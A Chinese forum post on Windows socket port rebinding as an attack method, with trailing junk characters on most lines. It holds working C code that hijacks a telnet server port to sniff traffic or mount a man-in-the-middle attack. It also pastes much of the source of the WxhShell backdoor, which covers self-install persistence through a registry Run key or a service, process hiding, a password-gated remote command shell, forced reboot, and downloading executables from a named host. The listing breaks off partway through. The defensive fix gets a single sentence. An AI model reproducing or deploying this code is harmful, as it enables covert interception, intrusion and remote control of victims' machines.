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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @U_ CnhPQq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $+Ze"E  
|}4\Gm  
  saddr.sin_family = AF_INET; +aOdaNcI  
~lo43$)^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s0iG |vw  
lbAhP+B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z5v dH5?!r  
lI?P_2AaS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VM%g QOo<  
q!c=f!U?\l  
  这意味着什么?意味着可以进行如下的攻击: |]9@JdmV  
NT+.E[J6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5sT3|yq  
H{Ewj_L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !i"zM}  
zFjz%:0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ..JRtuM-v  
^)-[g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #s{^fUN6  
i% 1UUI(W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E]' f&0s  
+cH>'OXoB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KUJLx  
%+l95Dv1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  WwB_L.{  
yUnV%@.  
  #include ;].X;Ky <  
  #include f8;?WSGyD2  
  #include 6.)ug7aF  
  #include    "SMJ:g",  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r!&174DSR1  
  int main() !Aj}sh{  
  { D"pT?\kO  
  WORD wVersionRequested; 'W(u.  
  DWORD ret; 94w)Yln  
  WSADATA wsaData; ]AYP\\Xi  
  BOOL val; \ivxi<SR  
  SOCKADDR_IN saddr; ?>B?*IK!  
  SOCKADDR_IN scaddr; +;~N; BT  
  int err; \#,2#BmO"E  
  SOCKET s; 46g0 e  
  SOCKET sc; @*y4uI6&  
  int caddsize; BzfR8mD  
  HANDLE mt; q TJ0}F  
  DWORD tid;   uA#K59E+  
  wVersionRequested = MAKEWORD( 2, 2 ); ." xP {  
  err = WSAStartup( wVersionRequested, &wsaData ); M[`[+5v  
  if ( err != 0 ) { A^,E~Z!x  
  printf("error!WSAStartup failed!\n"); Ca0s m  
  return -1; 3Z" ;a  
  } f 0H.$UAL  
  saddr.sin_family = AF_INET; !MKecRG_  
   56)!&MF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N)"8CvQL  
@/:4beh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ca'BE#q  
  saddr.sin_port = htons(23); )9nW`d+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +g g_C'"  
  { 486\a  
  printf("error!socket failed!\n"); c0zcR)=mL  
  return -1; V| V 9.  
  } >+J}mo=*  
  val = TRUE; qGA|.I9,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fM ID}S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C7dq=(p&  
  { HXU#Ux  
  printf("error!setsockopt failed!\n"); ,cNe-KJk  
  return -1; 3WP\MM  
  } svmb~n&x6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $l*?Ce:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >T]9.`xhK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $Y7VA  
&9flNoNR9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UDI\o1Rbp  
  { x6,ozun  
  ret=GetLastError(); b,+Sa\j)(  
  printf("error!bind failed!\n"); > '=QBW  
  return -1; -rU_bnm  
  } L(yUS)O  
  listen(s,2); ~ L4NK#  
  while(1) %/uLyCUZ  
  { "Vq= Ph  
  caddsize = sizeof(scaddr); 4m< ]qw  
  //接受连接请求 Z|C,HF+m.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k( Sda>-  
  if(sc!=INVALID_SOCKET) {`D]%eRO  
  { znE1t%V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yo[Sh6r/9b  
  if(mt==NULL) _5rKuL  
  { Nqj@p<y/q  
  printf("Thread Creat Failed!\n"); u~OlJ1V  
  break; / ]8e[t>!f  
  } ^mq(j_E.  
  } /}6I3n  
  CloseHandle(mt); I-^sJ@V;  
  } o:{Sws(=  
  closesocket(s); !!Ww#x~k$[  
  WSACleanup(); ;J|t-$Z  
  return 0; z" tz-~  
  }   he~8V.$  
  DWORD WINAPI ClientThread(LPVOID lpParam) "9P @bA  
  { Q`*U U82!  
  SOCKET ss = (SOCKET)lpParam; 8?82 p  
  SOCKET sc; }169]!R  
  unsigned char buf[4096]; ;-`NT` #2  
  SOCKADDR_IN saddr; ?'~u)O(n  
  long num; =u}~\ 'd  
  DWORD val; ~T H4='4W3  
  DWORD ret; 9xbT?$^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [KBa=3>{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A4,%l\di<  
  saddr.sin_family = AF_INET; G4c@v1#%.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =l:V9u-I^  
  saddr.sin_port = htons(23); xwo *kFg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }~W/NP_F  
  { 2n3&uvf'TL  
  printf("error!socket failed!\n"); a_!H_J  
  return -1; K W&muD  
  } JRC2+BU /  
  val = 100; =)Hu(;Yv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iA{q$>{8  
  { oo;<I_#07  
  ret = GetLastError(); ]0T*#U/P  
  return -1; <eEIR  
  } KH)-=IJ8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0p.MH~mx  
  { l| uiC%T  
  ret = GetLastError(); .+S%hT,v6i  
  return -1; mTsyVji8  
  } +%TgX&a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F_0D)H)N@  
  { 0?ab'vYcp  
  printf("error!socket connect failed!\n"); CN(-Jd.b  
  closesocket(sc); tW~kn9glZ  
  closesocket(ss); #W8F_/!n|  
  return -1; aPlEM_escS  
  } Y7+c/co  
  while(1) H0&wn#);6R  
  { 9IXy96]]6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s:l H4B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iLv -*%%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'y!qrmMRr  
  num = recv(ss,buf,4096,0); P !f{U;B  
  if(num>0) @_"cMU!  
  send(sc,buf,num,0); ? ch?q~e)  
  else if(num==0) ,{G\-(\  
  break; z*.G0DFw  
  num = recv(sc,buf,4096,0); ZRYlm$C  
  if(num>0) LhKbZ oPp  
  send(ss,buf,num,0); " 4#&tNQ  
  else if(num==0) ;bG?R0a  
  break; @{RhO|UR  
  } #Pk{emYW  
  closesocket(ss); z59;Qk  
  closesocket(sc); 3mofp`e  
  return 0 ; ~q+AAWL  
  } xGr{ad.N  
DqY"N ]  
TU)Pi.Aa  
========================================================== %6@)fRw  
C3^3<  
下边附上一个代码,,WXhSHELL /"="y'Wx  
SVwxK/Fci  
========================================================== Q3& ?28  
p:b{>lM  
#include "stdafx.h" Ga9iPv  
z[ ;n2o|s  
#include <stdio.h> H0tu3Pqk  
#include <string.h> 2k=|p@V n~  
#include <windows.h> &+02Sn3A  
#include <winsock2.h> 2HVqJib4Yn  
#include <winsvc.h> ea @ H  
#include <urlmon.h> kuBtPZ  
!nL94:8U  
#pragma comment (lib, "Ws2_32.lib") y|B HSc3  
#pragma comment (lib, "urlmon.lib") [u*7( 4e  
yqK_|7I+  
#define MAX_USER   100 // 最大客户端连接数 R`$jF\"`r  
#define BUF_SOCK   200 // sock buffer `K0.6i [p  
#define KEY_BUFF   255 // 输入 buffer xe6V7Wi/Tt  
VJ'-"8tY&  
#define REBOOT     0   // 重启 X ]&`"Z]  
#define SHUTDOWN   1   // 关机 % +  
%.Btf3y~  
#define DEF_PORT   5000 // 监听端口 [E<A/_z  
8?m=Vw<kIZ  
#define REG_LEN     16   // 注册表键长度 ! 1?u0  
#define SVC_LEN     80   // NT服务名长度 >Giw\|:f(  
ER-Xd9R  
// 从dll定义API E)Qg^DHP/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Ltp]nCR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jQz^)8)B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jX'pUO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  n}b/9  
hiVDN"$$  
// wxhshell配置信息 MW^FY4V1m  
struct WSCFG { aVV E 2:M  
  int ws_port;         // 监听端口 E{-pkqx  
  char ws_passstr[REG_LEN]; // 口令 s$9ow<oi]  
  int ws_autoins;       // 安装标记, 1=yes 0=no |@b|Q,  
  char ws_regname[REG_LEN]; // 注册表键名 /^{Q(R(X<  
  char ws_svcname[REG_LEN]; // 服务名 gBI?dw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S=< ]u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $h k_v~zM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uVZm9Sp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZFX}=?+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4u|6^ wu.I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `.VkR5/  
FDFVhcr  
}; &,XPMT  
b0%#=KMi  
// default Wxhshell configuration @$QtY(a  
struct WSCFG wscfg={DEF_PORT, },5LrX`L  
    "xuhuanlingzhe", A1zV5-E/  
    1, {![E)~  
    "Wxhshell", 9<!??'@f  
    "Wxhshell", 86&r;c:  
            "WxhShell Service", fB; o3!y  
    "Wrsky Windows CmdShell Service", E9 #o0Di  
    "Please Input Your Password: ", odcrP\S  
  1, V^9%+L+E5  
  "http://www.wrsky.com/wxhshell.exe", xr)m8H  
  "Wxhshell.exe" ~fgS"F^7n  
    }; |])Ko08*tE  
k8.,id  
// 消息定义模块 \gZjq]3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P!~&Ei  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kP~ ;dJD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -cXVkH{  
char *msg_ws_ext="\n\rExit."; q=BAYZ\`  
char *msg_ws_end="\n\rQuit."; OHF:E44k  
char *msg_ws_boot="\n\rReboot..."; {\!@ k\__  
char *msg_ws_poff="\n\rShutdown..."; #>$w9}gFi  
char *msg_ws_down="\n\rSave to "; U@:iN..  
Q},uM_" +  
char *msg_ws_err="\n\rErr!"; )i.\q   
char *msg_ws_ok="\n\rOK!"; UB;~Rf(.  
);F /P0P  
char ExeFile[MAX_PATH]; xaSiG  
int nUser = 0; 8\Z/mU*4  
HANDLE handles[MAX_USER]; o648 xUP  
int OsIsNt; dI8y}EbE~  
U./1OZ&  
SERVICE_STATUS       serviceStatus; "l09Ae'V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2ld0w=?+eu  
p7)b@,  
// 函数声明 ;V~~lcD&Y`  
int Install(void); \?.M1a[  
int Uninstall(void); I03 45Hc  
int DownloadFile(char *sURL, SOCKET wsh); h@ ?BA<'S  
int Boot(int flag); F a'2i<  
void HideProc(void); &4l >_  
int GetOsVer(void); 9_S>G$9D  
int Wxhshell(SOCKET wsl); </d&bS  
void TalkWithClient(void *cs); !;C *Wsp}  
int CmdShell(SOCKET sock); ~rU{Q>c  
int StartFromService(void); j]_"MMwk$<  
int StartWxhshell(LPSTR lpCmdLine); HV6'0_R0  
5/{gY{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s*pgR=dZZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A|U_$!cLZ  
{YgB?kt5  
// 数据结构和表定义 'roZ:NE  
SERVICE_TABLE_ENTRY DispatchTable[] = | [lM2  
{ ~v<,6BS<$Z  
{wscfg.ws_svcname, NTServiceMain}, 5zBsulRt  
{NULL, NULL} BK:S:  
}; X[c8P7  
y/@.T\p  
// 自我安装 &ExYul  
int Install(void) #nh;KlI 0  
{ q[SUYb;,  
  char svExeFile[MAX_PATH]; LA^H213N|  
  HKEY key; L$+ap~ld  
  strcpy(svExeFile,ExeFile); ~m56t5+uw  
\YBY"J  
// 如果是win9x系统,修改注册表设为自启动 !>+Na~eN  
if(!OsIsNt) { #_bSWV4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .ZrQ{~t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^*]0quu=z  
  RegCloseKey(key); i'%:z]hp9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~T[m{8uh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [sY>ac  
  RegCloseKey(key); hQfxz,X  
  return 0; r`L$[C5I  
    } rX#} 2  
  }  :RW0<  
} vF K&.J  
else { b='YCa  
BjR:#*<qD  
// 如果是NT以上系统,安装为系统服务 5xHl6T+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eID"&SSU  
if (schSCManager!=0) M+ gYKPP  
{ Bk 1Q.Un  
  SC_HANDLE schService = CreateService /tf}8d  
  ( V< @]Iv  
  schSCManager, xXu/CGzG  
  wscfg.ws_svcname, iCIu]6  
  wscfg.ws_svcdisp, G?MNM-2  
  SERVICE_ALL_ACCESS, @"H+QVJ@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J~:/,'Ea  
  SERVICE_AUTO_START, m(8t |~S  
  SERVICE_ERROR_NORMAL, @W^A%6"j  
  svExeFile, g!O(@Sqp1  
  NULL, 7@m  
  NULL, @qH<4`y.^  
  NULL, o=2y`Eq  
  NULL, 2Fce| Tn  
  NULL ]v 6u  
  ); s"G6aM  
  if (schService!=0) @`?"#^jT  
  { g0^%X9s  
  CloseServiceHandle(schService); F#Oqa^$(  
  CloseServiceHandle(schSCManager); Db= iJ68  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xUzSS@ot^  
  strcat(svExeFile,wscfg.ws_svcname); }{S W~yW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G;MgrA#\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >'8.>f  
  RegCloseKey(key); A[ZJS   
  return 0; o;\0xuM@  
    } z1F[okLA  
  } >ea<6&!Ee  
  CloseServiceHandle(schSCManager); HlY4%M5q/  
} *Rj>// A  
} ~y^#?;  
. dVo[m;  
return 1; `96:Z-!}  
} BJk\p.BVN  
{`~{%2ayq7  
// 自我卸载 L$@^EENS  
int Uninstall(void) Ps.O.2Z5ZB  
{ SA{A E9y  
  HKEY key; >&aFSL,f  
?ae:9ZcH  
if(!OsIsNt) { z(3mhMJY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V4 Pf?g  
  RegDeleteValue(key,wscfg.ws_regname); JQE^ bcr  
  RegCloseKey(key); FcsEv {#U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C&3#'/&  
  RegDeleteValue(key,wscfg.ws_regname); PT|^RF%fT  
  RegCloseKey(key); OtF{=7  
  return 0; g^ ^%4Y  
  } Yk:fV&]  
} ?a~=CC@  
} 9ToM5oQ  
else { 1?)<*[  
Nj.(iBmr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rr*",a"}m  
if (schSCManager!=0) @"kA&=0;|J  
{ DhY9)>4M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); & .+[~2  
  if (schService!=0) 6k42>e*p  
  { C 1|e1  
  if(DeleteService(schService)!=0) { Zo;@StN3}T  
  CloseServiceHandle(schService); Q9 kKk  
  CloseServiceHandle(schSCManager); {j,bV6X  
  return 0; p2!x8`IB*  
  } FI*.2rdSR  
  CloseServiceHandle(schService); H<%7aOwO2  
  } iyu%o9_0  
  CloseServiceHandle(schSCManager); phbdV8$L  
} Nb#E +\q  
} h^~eTi;c]Q  
*A GC[w}/  
return 1; A,lcR:@w  
} mv SNKS  
6}x^ T)R  
// 从指定url下载文件 `\q4z-<-  
int DownloadFile(char *sURL, SOCKET wsh) f>waF u-  
{ Zj~tUCc  
  HRESULT hr; 8 8pz<$  
char seps[]= "/"; qp  
char *token; y$*Tbzp  
char *file; -G;4['p  
char myURL[MAX_PATH]; 0$}+tq+  
char myFILE[MAX_PATH]; &]pW##  
9:fVHynr  
strcpy(myURL,sURL); R7x4v  
  token=strtok(myURL,seps); M)I&^mm39  
  while(token!=NULL) ?*4&Z.~J  
  { Bu>srX9f  
    file=token; m {_\@'q  
  token=strtok(NULL,seps); vj[ .`fY  
  } vsqfvx  
0RYh4'=F  
GetCurrentDirectory(MAX_PATH,myFILE); `"zX<  
strcat(myFILE, "\\"); AJ^9[j}  
strcat(myFILE, file); l]T|QhiVd  
  send(wsh,myFILE,strlen(myFILE),0); Nypa,_9}  
send(wsh,"...",3,0); jf*M}Q1jHE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K$ #(\-M  
  if(hr==S_OK) h+,zfVJu  
return 0; {{SQL)yJ  
else  Cj_cu  
return 1; Rw^4S@~T  
u{ JAC!  
} i)+@'!6  
iW-w?!>|m  
// 系统电源模块 ="d}:Jl  
int Boot(int flag) 3)atqM)i  
{ P9G c)$6{p  
  HANDLE hToken; oSx]wZZ  
  TOKEN_PRIVILEGES tkp; 6Nj\N oS  
&=<x&4H+  
  if(OsIsNt) { _+ oX9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zK k;&y|{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'F5&f9 A  
    tkp.PrivilegeCount = 1; _?Rprmjx}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -+Kx^V#'R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LUHj3H  
if(flag==REBOOT) { (](:0H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <^ @1wg  
  return 0; (pREo/T  
} %%G2w6 3M  
else { ]A5FN4 E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s34{\/'D+  
  return 0; x`WP*a7Fk]  
} 1bYc^(z0  
  } ;&s`g   
  else { crz )F"  
if(flag==REBOOT) { R',Q)<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Z,v)TOXjV  
  return 0; yS@c2I602  
} J)x-Yhe  
else { !L2R0Y:a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _o'ii VDuD  
  return 0; brl(7_ 2  
} Urm&4&y  
} )%-FnW  
E2Q;1Re@  
return 1; \5_+6  
} M`q>i B  
$k,Z)2  
// win9x进程隐藏模块 FWq+'Gk SV  
void HideProc(void) re2M!m6k5  
{ g"EvMv&  
sG=D(n1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T&oY:1D,g  
  if ( hKernel != NULL ) 07[A&B!  
  { lG I1LUo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F=7X,hK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ |z|kc  
    FreeLibrary(hKernel); 64%P}On  
  } q6bi{L@/R  
oM G8?p  
return; B8F.}M-!  
} )a AKO`  
5=WzKM  
// 获取操作系统版本 I<`K;El'  
int GetOsVer(void) z#ab V1 Xi  
{ V7[6jW gH  
  OSVERSIONINFO winfo; m2F2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n+QUT   
  GetVersionEx(&winfo); Jr$,w7tQn@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }TY}sr  
  return 1;  s6bILz-u  
  else 3=5K7 F  
  return 0; gHdNqOy c  
} R4"*<%1  
a"SH_+T{  
// 客户端句柄模块 gqV66xmJ3  
int Wxhshell(SOCKET wsl) [EI~/#;  
{ #5)0~4%l  
  SOCKET wsh; K&Ner(/X`6  
  struct sockaddr_in client; eG&\b-%  
  DWORD myID; B~+3<#B  
K2$ fKju  
  while(nUser<MAX_USER) $mdmuUIy-3  
{ O'm><a>8  
  int nSize=sizeof(client); ~A@T_ *0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zx` %)r  
  if(wsh==INVALID_SOCKET) return 1; ~e*3_l>9  
c%y(Z5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Jv0^"]  
if(handles[nUser]==0) .c__<I<G<  
  closesocket(wsh); mN^w?R41m  
else URU,&gy=  
  nUser++; G"k.sRKu  
  } PD #9Z=Hj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -#<6  
]Z\Z_t  
  return 0; 4<V%7z_.B  
} ?*DM|hzOi  
< z':_,  
// 关闭 socket be?>C 5  
void CloseIt(SOCKET wsh) zs/4tNXw  
{ ot\  FZ  
closesocket(wsh); SeuC7!q{  
nUser--; [|iWLPO1&k  
ExitThread(0); 7LEB ,bU  
} p7{2/m j  
\^o8qw'pt  
// 客户端请求句柄 X0:V5 e  
void TalkWithClient(void *cs) _{j'` #  
{ ')R+Z/hG.  
E_q/*}]pE  
  SOCKET wsh=(SOCKET)cs; \c ')9g@  
  char pwd[SVC_LEN]; o<h2]TN  
  char cmd[KEY_BUFF]; x[?N[>uw  
char chr[1]; @jL](Mq|]  
int i,j; ~7p!t%;$  
jY;T:C-T  
  while (nUser < MAX_USER) { ^bM\:z"M  
.lsD+}  
if(wscfg.ws_passstr) { yMG(FAyu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * 'eE[/K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q};n%&n&  
  //ZeroMemory(pwd,KEY_BUFF); 1JQ5bB"  
      i=0; ~];r{IU  
  while(i<SVC_LEN) { 2[Ofa(mkkp  
1.9bU/X  
  // 设置超时 QhhL_vP  
  fd_set FdRead; 7xF)\um  
  struct timeval TimeOut; z`"*60b  
  FD_ZERO(&FdRead); Z8Iqgz7|y  
  FD_SET(wsh,&FdRead); FR9w0{o  
  TimeOut.tv_sec=8; (k^% j  
  TimeOut.tv_usec=0; noNJ+0S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NX[-Y]t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i)iK0g"2  
^4b;rLfk@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! k[JP+;  
  pwd=chr[0]; z @g%9 |U  
  if(chr[0]==0xd || chr[0]==0xa) { 6"Ze%:AZZ  
  pwd=0; 0OXl`V`w  
  break; eo@kn yA<&  
  } oF0DprP@  
  i++; |(%=zb=?X  
    } rp '^]Zx  
oE.Ckz~*d  
  // 如果是非法用户,关闭 socket &6^ --cc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >'lvZt  
} 2Z-[x9t  
pCf9"LLer  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DPlDuUOd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O#<F"e;$  
0 <E2^  
while(1) { Dm@h'*  
&cWC&Ws"  
  ZeroMemory(cmd,KEY_BUFF); PNo9.-@G  
?8do4gT+1  
      // 自动支持客户端 telnet标准   ?f$U8A4lp  
  j=0; hj=qWGRgI  
  while(j<KEY_BUFF) { VFrp7;z43  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6HguZ_jC  
  cmd[j]=chr[0]; VbDk44X.W  
  if(chr[0]==0xa || chr[0]==0xd) { e^<'H  
  cmd[j]=0; b^STegz  
  break; =r)LG,w212  
  } ~ _hA{$  
  j++; dVPY07P  
    } Gshy$'_e  
y"Pd>61h  
  // 下载文件 Rt5,/Q0  
  if(strstr(cmd,"http://")) { {!j)j6(NY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *8J 0yv  
  if(DownloadFile(cmd,wsh)) |ZM>UJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @M OaXe  
  else I94-#*~I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $|g ;  
  } cV"Ov@_.k  
  else { jJaMkF;f  
1S(n3(KRk$  
    switch(cmd[0]) { NiFe#SLA  
  {+ Ibi{  
  // 帮助 8f<y~L_(`  
  case '?': { [K@(,/$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /k[8xb  
    break; J0 dY%pH#  
  } v`c;1?=,q  
  // 安装 n=PfV3B  
  case 'i': { $bD`B'5  
    if(Install()) 1l/t|M^I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z ^}[CQ&Am  
    else 8{]nS8i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xFekSH7[F  
    break; \>>P%EU,  
    } e/_QS}OA  
  // 卸载 SuB8mPn  
  case 'r': { |d z2Drc  
    if(Uninstall()) h1"|$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\I*_00!  
    else ?:M4GY" gV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SSxz1y  
    break; ar\ K8mj  
    } NM^uP+uS  
  // 显示 wxhshell 所在路径  VM:|I~gJ  
  case 'p': { dC8}Ttc}  
    char svExeFile[MAX_PATH]; ";7xE#jRk  
    strcpy(svExeFile,"\n\r"); xkw=os  
      strcat(svExeFile,ExeFile); _si5z  
        send(wsh,svExeFile,strlen(svExeFile),0); Xtfs)"  
    break; PqL. ^  
    } x@QNMK.7  
  // 重启 <5mv8'{L  
  case 'b': { %LzARTX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A)4XQF  
    if(Boot(REBOOT)) MoQ\~/Z|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qmsZHd}b  
    else { Ll-QhcC$  
    closesocket(wsh); JBLUX,  
    ExitThread(0); GB^`A  
    } b1cVAfUP  
    break; YvcV801Go  
    } $Hj;i/zD  
  // 关机 Z~QLjv&$/r  
  case 'd': { z6l'v~\  
